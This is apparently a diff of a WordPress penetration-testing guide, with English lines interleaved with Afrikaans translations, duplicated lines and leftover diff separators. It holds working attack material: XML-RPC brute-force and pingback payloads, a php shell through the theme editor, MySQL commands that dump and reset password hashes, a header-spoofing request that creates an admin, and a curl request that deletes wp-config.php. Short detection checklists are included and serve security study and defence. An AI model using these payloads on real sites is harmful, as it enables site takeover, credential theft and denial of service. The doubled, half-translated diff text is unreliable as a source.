- **Login username enumeration**: Wanneer daar aangemeld word by **`/wp-login.php`** is die **boodskap** **anders** en dui dit aan of die **gebruikersnaam bestaan of nie**.
|
||||
- **Login username enumeration**: Wanneer aan te meld by **`/wp-login.php`** is die **boodskap** verskillend, wat aandui of die **username** bestaan of nie.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Jy kan hierdie proses automatiseer[ using this](https://github.com/relarizky/wpxploit) byvoorbeeld).
|
||||
As `xml-rpc.php` aktief is, kan jy credentials brute-force uitvoer of dit gebruik om DoS-aanvalle teen ander hulpbronne te loods. (Jy kan hierdie proses byvoorbeeld outomatiseer deur [hierdie](https://github.com/relarizky/wpxploit) te gebruik).
|
||||
|
||||
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
Om te sien of dit aktief is, probeer toegang tot _**/xmlrpc.php**_ kry en stuur hierdie versoek:
|
||||
|
||||
**Kontroleer**
|
||||
```html
|
||||
@ -120,9 +120,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
```
|
||||

|
||||
|
||||
**Credentials Bruteforce**
|
||||
**Aanmeldbewyse Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is 'n paar metodes wat gebruik kan word om credentials te brute-force. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is 'n paar van die metodes wat gebruik kan word om aanmeldbewyse te brute-force. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -138,7 +138,7 @@ Die boodskap _"Incorrect username or password"_ binne 'n 200 code response moet
|
||||
|
||||
.png>)
|
||||
|
||||
Met die korrekte credentials kan jy 'n lêer upload. In die response sal die path verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Deur die regte credentials te gebruik kan jy 'n lêer oplaai. In die response sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ Met die korrekte credentials kan jy 'n lêer upload. In die response sal die pat
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Daar is ook 'n **sneller manier** om brute-force credentials te doen deur **`system.multicall`** te gebruik, aangesien jy verskeie credentials in dieselfde versoek kan probeer:
|
||||
Daar is ook 'n **vinnigere manier** om inlogbesonderhede te brute-force gebruikende **`system.multicall`**, aangesien jy verskeie inlogbesonderhede in dieselfde versoek kan probeer:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
**Omseil 2FA**
|
||||
|
||||
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud; daarom ondersteun dit nie 2FA nie. Dus, as jy geldige creds het maar die hooftoegang beskerm word deur 2FA, **mag jy dalk xmlrpc.php kan misbruik om met daardie creds in te log en 2FA te omseil**. Let wel dat jy nie al die aksies kan uitvoer wat jy deur die console kan doen nie, maar jy mag steeds toegang tot RCE kry soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud; daarom ondersteun dit nie 2FA nie. Dus, as jy geldige inlogbesonderhede het maar die hooftoegang is beskerm deur 2FA, **mag jy xmlrpc.php misbruik om met daardie inlogbesonderhede in te teken en 2FA te omseil**. Let daarop dat jy nie al die aksies wat jy deur die konsol kan doen sal kan uitvoer nie, maar jy kan steeds tot RCE raak soos Ippsec verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS or port scanning**
|
||||
**DDoS of port scanning**
|
||||
|
||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** a interne **network** te laat **scan** (you can indicate any port).
|
||||
As jy die metode _**pingback.ping**_ binne die lys kan vind, kan jy Wordpress laat 'n ewekansige versoek na enige host/poort stuur.\
|
||||
Dit kan gebruik word om **duisende** Wordpress **sites** te vra om een **lokasie** te **access** (sodat 'n **DDoS** by daardie lokasie veroorsaak word) of jy kan dit gebruik om **Wordpress** 'n interne **network** te laat **scan** (jy kan enige poort aandui).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -209,15 +209,15 @@ Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Hierdie lêer bestaan gewoonlik onder die root van die Wordpress-site: **`/wp-cron.php`**\
|
||||
Wanneer hierdie lêer **accessed** word, word 'n "**heavy**" MySQL **query** uitgevoer, so dit kan deur **attackers** gebruik word om 'n **DoS** te **cause**.\
|
||||
Boonop, standaard word `wp-cron.php` op elke bladsylaai aangeroep (elke keer as 'n client enige Wordpress-bladsy versoek), wat op hoë-verkeersites probleme kan veroorsaak (DoS).
|
||||
Hierdie lêer bestaan gewoonlik in die wortel van die Wordpress-webwerf: **`/wp-cron.php`**\
|
||||
Wanneer hierdie lêer **geopen** word, word 'n "**sware**" MySQL **query** uitgevoer, dus kan dit deur **attackers** gebruik word om 'n **DoS** te **veroorsaak**.\
|
||||
Verder word standaard die `wp-cron.php` by elke bladsy-laai aangeroep (enige keer 'n kliënt enige Wordpress-bladsy versoek), wat op webwerwe met hoë verkeer probleme (DoS) kan veroorsaak.
|
||||
|
||||
Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob op die host te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak).
|
||||
Dit word aanbeveel om Wp-Cron uit te skakel en 'n werklike cronjob op die host te skep wat die nodige aksies op gereelde intervalle uitvoer (sonder om probleme te veroorsaak).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te besoek en die Worpress-site mag 'n versoek aan jou maak.
|
||||
Probeer om toegang te kry tot _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ en die Wordpress-webwerf mag 'n versoek na jou stuur.
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -230,26 +230,26 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Hierdie tool kontroleer of die **methodName: pingback.ping** en die pad **/wp-json/oembed/1.0/proxy** bestaan; as dit bestaan probeer dit om hulle te exploit.
|
||||
Hierdie tool checks if the **methodName: pingback.ping** and for the path **/wp-json/oembed/1.0/proxy** and if exists, it tries to exploit them.
|
||||
|
||||
## Outomatiese gereedskap
|
||||
## Outomatiese Gereedskap
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## Kry toegang deur 'n bit te oorskryf
|
||||
## Kry toegang deur 'n bit oor te skryf
|
||||
|
||||
Meer as 'n regte aanval is dit 'n nuuskierigheid. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy flip 1 bit van enige wordpress-lêer. Dus kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` flip om die NOT (`!`) operasie te NOP.
|
||||
Dit is meer 'n nuuskierigheid as 'n werklike aanval. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer omdraai. Dus kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omdraai om die NOT (`!`) operasie te NOP.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Paneel RCE**
|
||||
## **Panel RCE**
|
||||
|
||||
**Wysig 'n php uit die gebruikte tema (administrateur-aanmeldbewyse benodig)**
|
||||
**Wysig 'n php-lêer van die gebruikte theme (admin credentials nodig)**
|
||||
|
||||
Voorkoms → Tema-redigeerder → 404-sjabloon (aan die regterkant)
|
||||
Appearance → Theme Editor → 404 Template (aan die regterkant)
|
||||
|
||||
Verander die inhoud na 'n php shell:
|
||||
|
||||
@ -263,13 +263,13 @@ Jy kan gebruik:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
om 'n sessie te kry.
|
||||
om 'n session te kry.
|
||||
|
||||
## Plugin RCE
|
||||
|
||||
### PHP plugin
|
||||
|
||||
Dit mag moontlik wees om .php-lêers as 'n plugin op te laai.\
|
||||
Dit kan moontlik wees om .php-lêers as 'n plugin op te laai.\
|
||||
Skep jou php backdoor byvoorbeeld soos:
|
||||
|
||||
.png>)
|
||||
@ -286,7 +286,7 @@ Klik op Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Waarskynlik sal dit skynbaar niks doen nie, maar as jy na Media gaan, sal jy jou shell sien opgelaai:
|
||||
Waarskynlik sal dit niks doen nie, maar as jy na Media gaan, sal jy jou shell sien opgelaai:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -294,36 +294,36 @@ Toegang daartoe en jy sal die URL sien om die reverse shell uit te voer:
|
||||
|
||||
.png>)
|
||||
|
||||
### Oplaai en aktivering van 'n kwaadaardige plugin
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Hierdie metode behels die installering van 'n kwaadaardige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te kry. Hierdie proses word via die WordPress dashboard uitgevoer soos volg:
|
||||
Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te bekom. Hierdie proses word deur die WordPress dashboard uitgevoer soos volg:
|
||||
|
||||
1. **Verkryging van plugin**: Die plugin word verkry vanaf 'n bron soos Exploit DB, byvoorbeeld [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Installering van plugin**:
|
||||
- Navigeer na die WordPress dashboard, dan na `Dashboard > Plugins > Upload Plugin`.
|
||||
1. **Plugin Acquisition**: Die plugin word verkry van 'n bron soos Exploit DB, byvoorbeeld [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Navigeer na die WordPress dashboard, dan gaan na `Dashboard > Plugins > Upload Plugin`.
|
||||
- Laai die zip-lêer van die afgelaaide plugin op.
|
||||
3. **Aktivering van plugin**: Sodra die plugin suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word.
|
||||
4. **Eksploitering**:
|
||||
3. **Plugin Activation**: Sodra die plugin suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word.
|
||||
4. **Exploitation**:
|
||||
- Met die plugin "reflex-gallery" geïnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar.
|
||||
- Die Metasploit framework voorsien 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter-sessie gevestig word, wat ongemagtigde toegang tot die webwerf gee.
|
||||
- Daar word opgemerk dat dit net een van die vele metodes is om 'n WordPress-webwerf uit te buit.
|
||||
- Die Metasploit framework bied 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter session gevestig word, wat ongemagtigde toegang tot die webwerf gee.
|
||||
- Dit word opgemerk dat dit net een van die vele metodes is om 'n WordPress-webwerf uit te buit.
|
||||
|
||||
Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress dashboard uitbeeld vir die installering en aktivering van die plugin. Dit is egter belangrik om op te merk dat die uitbuiting van kwesbaarhede op hierdie wyse onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetration testing met uitdruklike toestemming.
|
||||
Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress dashboard vir die installering en aktivering van die plugin uitbeeld. Dit is egter belangrik om te noem dat die uitbuiting van kwesbaarhede op hierdie wyse onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos pentesting met uitdruklike toestemming.
|
||||
|
||||
**Vir meer gedetailleerde stappe kyk:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## Van XSS na RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n script ontwerp om 'n **Cross-Site Scripting (XSS)**-kwesbaarheid op te gradeer na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress. Vir meer inligting sien [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **ondersteuning vir WordPress weergawes 6.X.X, 5.X.X en 4.X.X en laat toe om:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n script ontwerp om 'n **Cross-Site Scripting (XSS)** kwetsbaarheid op te skaal na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress. Vir meer inligting sien [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- _**Privilege Escalation:**_ Skep 'n gebruiker in WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Laai jou custom plugin (backdoor) na WordPress op.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Wysig 'n ingeboude plugin in WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Wysig 'n ingeboude tema in WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Custom exploits vir derdeparty WordPress-plugins/temas.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Wysig 'n Built-In Plugin in WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Wysig 'n Built-In Theme in WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Custom Exploits vir derdeparty WordPress plugins/themes.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
Onttrek gebruikersname en wagwoorde:
|
||||
Haal gebruikersname en wagwoorde uit:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
@ -333,27 +333,27 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
|
||||
### Aanvalsoppervlak
|
||||
### Attack Surface
|
||||
|
||||
Om te verstaan hoe 'n Wordpress plugin funksionaliteit kan blootstel, is noodsaaklik om kwesbaarhede in daardie funksionaliteit te vind. Jy kan sien hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in [**hierdie blogpos**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Om te weet hoe 'n Wordpress plugin funksionaliteit kan blootstel is noodsaaklik om kwesbaarhede in daardie funksionaliteit te vind. Jy kan sien hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX handlers. Hierdie kan logiese, authorization- of authentication-bugs bevat. Verder is dit gereeld dat hierdie funksies beide authentication en authorization baseer op die bestaan van 'n Wordpress nonce wat **enige gebruiker wat in die Wordpress-instansie geauthentikeer is, kan hê** (onafhanklik van sy rol).
|
||||
Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel is via AJAX handlers. Hierdie kan logic-, authorization- of authentication-bugs bevat. Verder gebeur dit gereeld dat hierdie funksies beide authentication en authorization baseer op die bestaan van 'n wordpress nonce wat **enige gebruiker wat in die Wordpress instance geauthentiseer is mag hê** (onafhanklik van hul rol).
|
||||
|
||||
Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**Die gebruik van `nopriv` maak die endpoint deur alle gebruikers toeganklik (selfs ongeauthentiseerde gebruikers).**
|
||||
**Die gebruik van `nopriv` maak die endpoint toeganklik vir enige gebruikers (selfs nie-geauthentiseerde gebruikers).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Verder, as die funksie net die outorisering van die gebruiker nagaan met die funksie `wp_verify_nonce`, kontroleer hierdie funksie net of die gebruiker aangemeld is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus kan gebruikers met lae bevoegdhede toegang hê tot aksies met hoë bevoegdhede.
|
||||
> Daarbenewens, as die funksie slegs die autorisasie van die gebruiker nagaan met die funksie `wp_verify_nonce`, kontroleer hierdie funksie slegs of die gebruiker aangemeld is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus kan lae-geprivilegieerde gebruikers toegang hê tot hoog-geprivilegieerde aksies.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n rest AP te registreer met die funksie `register_rest_route`:
|
||||
Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n REST API te registreer met die funksie `register_rest_route`:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -365,19 +365,19 @@ $this->namespace, '/get/', array(
|
||||
```
|
||||
Die `permission_callback` is 'n callback-funksie wat kontroleer of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep.
|
||||
|
||||
**As die ingeboude `__return_true` funksie gebruik word, sal dit eenvoudig die gebruikers se toestemmingskontrole oorskiet.**
|
||||
**As die ingeboude `__return_true` funksie gebruik word, sal dit eenvoudig die gebruikerstoestemmingskontrole oorslaan.**
|
||||
|
||||
- **Direct access to the php file**
|
||||
- **Direkte toegang tot die PHP-lêer**
|
||||
|
||||
Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk via die web toeganklik. Dus, as 'n plugin enige kwesbare funksionaliteit blootstel wat net deur toegang tot die lêer geaktiveer word, sal dit deur enige gebruiker uitgebuit kan word.
|
||||
Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. Dus, as 'n plugin enige kwesbare funksionaliteit blootstel wat slegs deur toegang tot die lêer getrigger word, sal dit deur enige gebruiker uitgebuit kan word.
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Sommige plugins implementeer "trusted header" kortpaaie vir interne integrasies of reverse proxies en gebruik daardie header dan om die huidige gebruiker-konteks vir REST-versoeke te stel. As die header nie kriptografies aan die versoek gebind is deur 'n upstream-komponent nie, kan 'n aanvaller dit spoof en bevoorregte REST-roetes as 'n administrateur teiken.
|
||||
Sommige plugins implementeer “trusted header”-kortpaaie vir interne integrasies of reverse proxies en gebruik daardie header om die huidige gebruikerskonteks vir REST-versoeke te stel. As die header nie kriptografies aan die versoek gebind is deur 'n upstream-komponent nie, kan 'n aanvaller dit spoof en gemagtigde REST-roetes as 'n administrator bereik.
|
||||
|
||||
- Impact: Onautentiseerde privilege-opskaling na admin deur 'n nuwe administrateur te skep via die core users REST-route.
|
||||
- Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (dwing gebruiker-ID 1 af, tipies die eerste administrateurrekening).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` met 'n verhoogde role array.
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -393,29 +393,29 @@ Content-Length: 114
|
||||
```
|
||||
Waarom dit werk
|
||||
|
||||
- Die plugin map `client-controlled` header na authentication state en slaan capability checks oor.
|
||||
- WordPress core verwag `create_users` capability vir hierdie route; die plugin hack omseil dit deur direk die current user context vanaf die header te stel.
|
||||
- Die plugin map ’n client-controlled header na authentication state en slaan capability checks oor.
|
||||
- WordPress core verwag `create_users` capability vir hierdie roete; die plugin hack omseil dit deur die current user context direk vanaf die header te stel.
|
||||
|
||||
Verwagte suksesaanwysers
|
||||
Verwagte sukses-aanwysers
|
||||
|
||||
- HTTP 201 met 'n JSON body wat die geskepte gebruiker beskryf.
|
||||
- 'n Nuwe admin gebruiker sigbaar in `wp-admin/users.php`.
|
||||
- HTTP 201 met ’n JSON-body wat die geskepte gebruiker beskryf.
|
||||
- ’n nuwe admin gebruiker sigbaar in `wp-admin/users.php`.
|
||||
|
||||
Opsporingskontrolelys
|
||||
|
||||
- Grep vir `getallheaders()`, `$_SERVER['HTTP_...']`, of vendor SDKs wat custom headers lees om user context te stel (bv. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Hersien REST registrasies vir bevoorregte callbacks wat geen robuuste `permission_callback` checks het nie en eerder op request headers staatmaak.
|
||||
- Kyk vir gebruik van core user-management funksies (`wp_insert_user`, `wp_create_user`) binne REST handlers wat slegs deur header values geblokkeer word.
|
||||
- Hersien REST-registrasies vir bevoorregte callbacks wat nie robuuste `permission_callback` kontroles het nie en eerder op request headers staatmaak.
|
||||
- Soek na gebruike van core user-management funksies (`wp_insert_user`, `wp_create_user`) binne REST handlers wat slegs deur header-waardes beperk word.
|
||||
|
||||
### Ongeauthentiseerde arbitraire lêerverwydering via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes en plugins openbaar dikwels AJAX handlers deur die `wp_ajax_` en `wp_ajax_nopriv_` hooks. Wanneer die **_nopriv_** variant gebruik word **word die callback deur ongeauthentiseerde besoekers bereikbaar**, dus moet enige sensitiewe aksie ook die volgende implementeer:
|
||||
WordPress temas en plugins maak gereeld AJAX handlers beskikbaar deur die `wp_ajax_` en `wp_ajax_nopriv_` hooks. Wanneer die **_nopriv_** variant gebruik word **word die callback deur nie-geauthentiseerde besoekers bereikbaar**, dus moet enige sensitiewe aksie bykomend die volgende implementeer:
|
||||
|
||||
1. 'n **capability check** (bv. `current_user_can()` of ten minste `is_user_logged_in()`), en
|
||||
2. 'n **CSRF nonce** gevalideer met `check_ajax_referer()` / `wp_verify_nonce()`, en
|
||||
3. **Streng invoersanitisasie / validering**.
|
||||
1. ’n **capability check** (bv. `current_user_can()` of ten minste `is_user_logged_in()`), en
|
||||
2. ’n **CSRF nonce** gevalideer met `check_ajax_referer()` / `wp_verify_nonce()`, en
|
||||
3. **Streng invoer-sanitisasie / validasie**.
|
||||
|
||||
Die Litho multipurpose theme (< 3.1) het daardie 3 kontroles in die *Remove Font Family* funksie vergeet en het uiteindelik die volgende kode (vereenvoudig) gelewer:
|
||||
Die Litho multipurpose theme (< 3.1) het daardie 3 kontroles in die *Remove Font Family* funksie vergeet en het uiteindelik die volgende kode (vereenvoudig) meegestuur:
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -434,37 +434,37 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Issues introduced by this snippet:
|
||||
Probleme wat deur hierdie kodefragment veroorsaak word:
|
||||
|
||||
* **Ongeauthentiseerde toegang** – die `wp_ajax_nopriv_` hook is registered.
|
||||
* **Ongeverifieerde toegang** – die `wp_ajax_nopriv_` hook is geregistreer.
|
||||
* **Geen nonce / capability check** – enige besoeker kan die endpoint aanroep.
|
||||
* **Geen pad-sanitisering** – die user–controlled `fontfamily` string word aan 'n filesystem path gekoppel sonder filtering, wat klassieke `../../` traversal toelaat.
|
||||
* **Geen pad-sanitisasie** – die gebruikersbeheerde `fontfamily` string word aan 'n lêerstelselpad gekonkateneer sonder filtrering, wat klassieke `../../` traversal toelaat.
|
||||
|
||||
#### Uitbuiting
|
||||
#### Exploitation
|
||||
|
||||
'n Aanvaller kan enige lêer of gids **onder die uploads base directory** (gewoonlik `<wp-root>/wp-content/uploads/`) verwyder deur 'n enkele HTTP POST versoek te stuur:
|
||||
'n aanvaller kan enige lêer of gids **onder die uploads base directory** (gewoonlik `<wp-root>/wp-content/uploads/`) uitvee deur 'n enkele HTTP POST versoek te stuur:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Omdat `wp-config.php` buite *uploads* lê, is vier `../`-reekse genoeg op 'n standaardinstallasie. Om `wp-config.php` te verwyder dwing WordPress by die volgende besoek die *installasiewizard* om te begin, wat 'n volledige oorneem van die site moontlik maak (die aanvaller verskaf eenvoudig 'n nuwe DB-konfigurasie en skep 'n admin-gebruiker).
|
||||
Omdat `wp-config.php` buite *uploads* lê, is vier `../` reekse genoeg op 'n standaard installasie. Deleting `wp-config.php` dwing WordPress by die volgende besoek in die *installasie-wizard*, wat 'n volledige site take-over moontlik maak (die aanvaller verskaf net 'n nuwe DB-konfigurasie en skep 'n admin-gebruiker).
|
||||
|
||||
Ander impakvolle teikens sluit in plugin/theme `.php` lêers (om sekuriteits-plugins te breek) of `.htaccess` reëls.
|
||||
Ander impakvolle teikens sluit plugin/theme `.php`-lêers (om sekuriteits-plugins te breek) of `.htaccess` reëls in.
|
||||
|
||||
#### Detection checklist
|
||||
#### Opsporingskontrollys
|
||||
|
||||
* Enige `add_action( 'wp_ajax_nopriv_...')` callback wat filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.) aanroep.
|
||||
* Koppeling van nie-gesaniteerde gebruikersinvoer in paadjies (kyk vir `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Enige `add_action( 'wp_ajax_nopriv_...')` callback wat filesystem helpers oproep (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ens.).
|
||||
* Samevoeging van nie-gefiltreerde gebruikersinsette in paaie (kyk vir `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Afwesigheid van `check_ajax_referer()` en `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
Baie plugins implementeer 'n "view as role" of tydelike rol-wissel funksie deur die oorspronklike rol(le) in user meta te stoor sodat dit later herstel kan word. As die herstelpad slegs op versoekparameters berus (bv., `$_REQUEST['reset-for']`) en 'n plugin-onderhoude lys sonder om capabilities en 'n geldige nonce te kontroleer, word dit 'n vertical privilege escalation.
|
||||
Baie plugins implementeer 'n "view as role" of tydelike rolwissel-funksie deur die oorspronklike rol(le) in user meta te stoor sodat dit later herstel kan word. As die herstelpad slegs op request parameters (bv. `$_REQUEST['reset-for']`) en 'n plugin-onderhoude lys staatmaak sonder om capabilities en 'n geldige nonce te verifieer, word dit 'n vertical privilege escalation.
|
||||
|
||||
'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset-branch het rolle herstel gebaseer op `reset-for=<username>` as die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het nie 'n `current_user_can()`-kontrole of nonce-verifikasie uitgevoer nie voordat huidige rolle verwyder en die gestoor rolle vanuit user meta `_asenha_view_admin_as_original_roles` weer bygevoeg is:
|
||||
'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset-branch herstel rolle gebaseer op `reset-for=<username>` as die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het nie 'n `current_user_can()` kontrole uitgevoer nie en ook nie 'n nonce-verifikasie gedoen voordat die huidige rolle verwyder en die gestoor rolle uit user meta `_asenha_view_admin_as_original_roles` weer bygevoeg is:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
